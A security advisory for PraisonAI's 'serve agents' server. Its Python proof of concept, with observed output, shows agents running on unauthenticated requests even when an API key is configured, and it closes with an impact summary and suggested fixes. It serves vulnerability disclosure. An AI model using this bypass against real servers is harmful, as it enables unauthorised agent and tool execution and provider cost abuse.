GHSA-7ww9-85pg-cv4x

#!/usr/bin/env python3 from __future__ import annotations import sys import tempfile from pathlib import Path REPO = Path("/path/to/PraisonAI") sys.path[:0] = [ str(REPO / "src" / "praisonai"), str(REPO / "src" / "praisonai-agents"), ] class FakeAgent: def __init__(self): self.calls = [] def start(self, query): self.calls.append(query) return f"fake-agent-ran:{query}" def main() -> None: from fastapi.testclient import TestClient from praisonai.cli.features.serve import ServeHandler from praisonai.api import agent_invoke with tempfile.TemporaryDirectory() as tmp: agents_yaml = Path(tmp) / "agents.yaml" agents_yaml.write_text( "roles:\n" " placeholder:\n" " role: Placeholder\n" " goal: Placeholder\n" " backstory: Placeholder\n", encoding="utf-8", ) handler = ServeHandler() app = handler._create_agents_app( { "file": str(agents_yaml), "host": "0.0.0.0", "port": 8000, "path": "/agents", "reload": False, "api_key": "operator-secret-api-key", } ) fake_agent = FakeAgent() agent_invoke.register_agent("poc", fake_agent) client = TestClient(app) response = client.post( "/agents/poc", json={"query": "unauthenticated request"}, ) print(f"STATUS_CODE={response.status_code}") print(f"RESPONSE_JSON={response.json()!r}") print(f"AGENT_CALLS={fake_agent.calls!r}") print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated request']}") if __name__ == "__main__": main() Run: cd /path/to/PraisonAI python3 praisonai-serve-agents-api-key-bypass.py Observed output: STATUS_CODE=200 RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'} AGENT_CALLS=['unauthenticated request'] UNAUTHENTICATED_AGENT_EXECUTED=True The important condition is that the app was configured with: "api_key": "operator-secret-api-key" but the request was sent without any auth header: client.post("/agents/poc", json={"query": "unauthenticated request"}) The agent still executed and returned HTTP 200. ### Impact Any attacker who can reach a praisonai serve agents server can invoke configured agents even when the operator explicitly configured --api-key. Impact depends on the configured agents and their tools, but can include: - unauthorized LLM/API usage and provider cost consumption; - execution of agent workflows; - access to connected tool integrations; - reads/writes through file, database, cloud, browser, MCP, or messaging tools; - availability impact from repeated or long-running agent invocations. This is especially risky because the documented production pattern recommends using --api- key when binding the server publicly. ### Suggested fix Fail closed when --api-key is configured and require it on every agent invocation route in the serve agents app. Recommended changes: - In _create_agents_app(), derive an auth dependency from config.get("api_key"). - Apply it to both POST {path} and POST /agents/{agent_name}. - Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for compatibility. - Use constant-time comparison for the expected key. - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN. - Add tests proving: - key configured + no header returns 401/403; - key configured + wrong header returns 401/403; - key configured + correct header executes; - both /agents and /agents/{agent_name} are covered.